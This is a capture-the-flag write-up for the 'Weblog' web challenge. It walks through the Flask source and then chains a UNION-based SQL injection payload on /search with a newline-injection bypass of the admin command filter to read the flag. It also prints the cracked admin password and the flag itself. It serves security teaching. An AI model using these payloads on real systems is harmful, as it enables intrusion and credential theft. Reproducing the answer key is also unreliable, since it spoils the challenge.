Post

Weblog

Weblog

Description

Web-LOG? We-BLOG? Webel-OGG? No idea how this one is pronounced. It’s on the web, it’s a log, it’s a web-log, it’s a blog. Just roll with it.

Author: @HuskyHacks

Solution

First Look

Taking a first look at application, we can see that there is a register page, a login page, and an account recovery page. We start by registering an account and logging in.

alt text

Register

Taking a look at the /register endpoint, we can see that the application hashes the password using MD5 and stores it in the database. The application also checks if the username or email is already taken before creating a new user. Nothing seems out of the ordinary here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@auth_blueprint.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        password = hashlib.md5(request.form.get(
            'password').encode()).hexdigest()

        existing_user = User.query.filter(
            (User.username == username) | (User.email == email)).first()
        if existing_user:
            flash("Username or email already taken.", "danger")
            return redirect(url_for('auth.register'))

        new_user = User(username=username, email=email, password=password)
        db.session.add(new_user)
        db.session.commit()
        flash("Registration successful! You can now log in.", "success")
        return redirect(url_for('auth.login'))

    return render_template('register.html')

Login

Taking a look at the /login endpoint, we can see that the application hashes the password using MD5 and checks if the username and password match a user in the database. If the user exists, the application sets the user’s ID, username, and role in the session and redirects to the dashboard. If the user does not exist, the application displays an error message. Again nothing seems out of the ordinary here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@auth_blueprint.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = hashlib.md5(request.form.get(
            'password').encode()).hexdigest()

        user = User.query.filter_by(
            username=username, password=password).first()

        if user:
            session['user_id'] = user.id
            session['username'] = user.username
            session['role'] = user.role
            flash("Login successful!", "success")
            return redirect(url_for('auth.dashboard'))
        else:
            flash("Invalid credentials. Please try again.", "danger")

    return render_template('login.html')

Dashboard

Now we have access to the dashboard, where we can see a list of blog posts. We can also create new blog posts and search for blog posts given a search query.

alt text

Taking a look at the /search endpoint, we can see that the application takes a search query and searches for blog posts that contain the search query in the title. The application then displays the search results. The application also checks if the user is logged in before allowing them to use the search feature. We can see that the application uses string interpolation to build the SQL query, which is vulnerable to SQL Injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@search_blueprint.route('/search', methods=['GET', 'POST'])
def search():
    if 'user_id' not in session:
        flash("You need to log in to use the search feature.", "danger")
        return redirect(url_for('auth.login'))

    query = request.args.get("q", "")

    posts = []
    if query:
        try:
            raw_query = text(
                f"SELECT * FROM blog_posts WHERE title LIKE '%{query}%'")
            current_app.logger.info(f"Executing Raw Query: {raw_query}")
            posts = db.session.execute(raw_query).fetchall()
            current_app.logger.info(f"Query Results: {posts}")

            if not posts:
                flash("No results found for your search.", "danger")
            else:
                flash(
                    f"Found {len(posts)} results for your search.", "success")
        except Exception as e:
            current_app.logger.error(f"Query Error: {e}")
            flash(
                f"An error occurred while processing your search: {e}", "danger")
    else:
        flash("Please enter a search term.", "info")

    return render_template("search.html", posts=posts, query=query)

Vulnerable code snippet:

1
raw_query = text(f"SELECT * FROM blog_posts WHERE title LIKE '%{query}%'")

Further Analysis

By reviewing the entrypoint.sh file, we can see that the application creates 2 users at startup: admin and user1.

1
2
3
4
5
-- Insert users and blog posts
INSERT IGNORE INTO users (username, password, email, role)
VALUES 
('admin', MD5('admin_password'), 'admin@example.com', 'admin'),
('user1', MD5('user_password'), 'user1@example.com', 'user');

An admin user has access to the /admin endpoint.

Admin

Taking a look at the /admin endpoint, we can see that the application checks if the user has the role admin before allowing them to access the admin panel. The application displays the number of users and blog posts in the database. The administrator is also able to execute commands on the server. The command given by the admin is validated to ensure that it starts with the default command and does not contain any disallowed characters. The application then executes the command and displays the output. If we pay close attention we realize that the disallowed characters are not a sufficient protection against command injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...
DEFAULT_COMMAND = "echo 'Rebuilding database...' && /entrypoint.sh"
DISALLOWED_CHARS = r"[&|><$\\]"

@admin_blueprint.route("/admin", methods=["GET", "POST"])
def admin_panel():
    if session.get("role") != "admin":
        flash("Admin access required.", "danger")
        return redirect(url_for("auth.dashboard"))

    user_count = User.query.count()
    post_count = BlogPost.query.count()

    config_message = None
    error_message = None

    if request.method == "POST":
        command = request.form.get("command", "").strip()

        if not command.startswith(DEFAULT_COMMAND):
            error_message = "Invalid command: does not start with the default operation."
        elif re.search(DISALLOWED_CHARS, command[len(DEFAULT_COMMAND):]):
            error_message = "Invalid command: contains disallowed characters."
        else:
            try:
                result = os.popen(command).read()
                config_message = f"Command executed successfully:\n{result}"
            except Exception as e:
                error_message = f"An error occurred: {str(e)}"

    return render_template(
        "admin_panel.html",
        config_message=config_message,
        error_message=error_message,
        DEFAULT_COMMAND=DEFAULT_COMMAND,
        user_count=user_count,
        post_count=post_count,
    )

Vulnerable code snippet:

1
2
3
4
5
6
7
8
...
if not command.startswith(DEFAULT_COMMAND):
            error_message = "Invalid command: does not start with the default operation."
elif re.search(DISALLOWED_CHARS, command[len(DEFAULT_COMMAND):]):
    error_message = "Invalid command: contains disallowed characters."
...
result = os.popen(command).read()
...

Exploitation

Let’s think about our chain of attack.

  1. Exploit the SQLi vulnerability on the /search endpoint to extract the admin password hash
  2. Crack the hash to get the admin password
  3. Log in as the admin user
  4. Send a well-crafted command to the /admin endpoint to bypass the disallowed characters and execute arbitrary commands on the server
  5. Read the flag

Sounds like a plan! Let’s get started.

Step 1: SQLi - Extract Admin Password Hash

We need 3 things to craft our SQLi payload:

  • The number of columns in the blog_posts table
  • The users model
  • The query

The blog post model is defined as follows:

1
2
3
4
5
6
7
CREATE TABLE IF NOT EXISTS blog_posts (
    id INT AUTO_INCREMENT PRIMARY KEY,
    title VARCHAR(255) NOT NULL,
    content TEXT NOT NULL,
    author VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

So we know that the blog_posts table has 5 columns: id, title, content, author, and created_at.

The users model is defined as follows:

1
2
3
4
5
6
7
CREATE TABLE IF NOT EXISTS users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL,
    email VARCHAR(255) NOT NULL UNIQUE,
    role ENUM('user', 'admin') DEFAULT 'user'
);

The query:

1
f"SELECT * FROM blog_posts WHERE title LIKE '%{query}%'"

Now that we have all the information we need, we can craft a UNION based SQLi payload to extract the admin password hash. Our payload will look like this:

asdf' UNION SELECT id,username,password,password,null FROM users WHERE role='admin';-- -

We can send the following request to the /search endpoint to extract the admin password hash:

alt text

Admin password hash: c1b8b03c5a1b6d4dcec9a852f85cac59

Step 2: Crack Admin Password Hash

We can use an online tool like CrackStation to crack the MD5 hash.

alt text

Admin password: no1trust

Step 3: Log in as Admin

We can now log in as the admin user using the credentials admin:no1trust.

alt text

Step 4: Command Injection

We have to find a way to bypass the disallowed characters and inject arbitrary commands.

1
DISALLOWED_CHARS = r"[&|><$\\]"

Any ideas? 🤔

We can use the newline character \n to separate the commands and bypass the disallowed characters check, thus executing arbitrary commands on the server.

We can send the following request to the /admin endpoint to confirm the command injection vulnerability:

alt text

Note: %0A is the URL encoded version of the newline character \n.

Step 5: Read the Flag

We can now read the flag by executing the cat /app/flag.txt command.

alt text

The flag is flag{b06fbe98752ab13d0fb8414fb55940f3}.

This post is licensed under CC BY 4.0 by the author.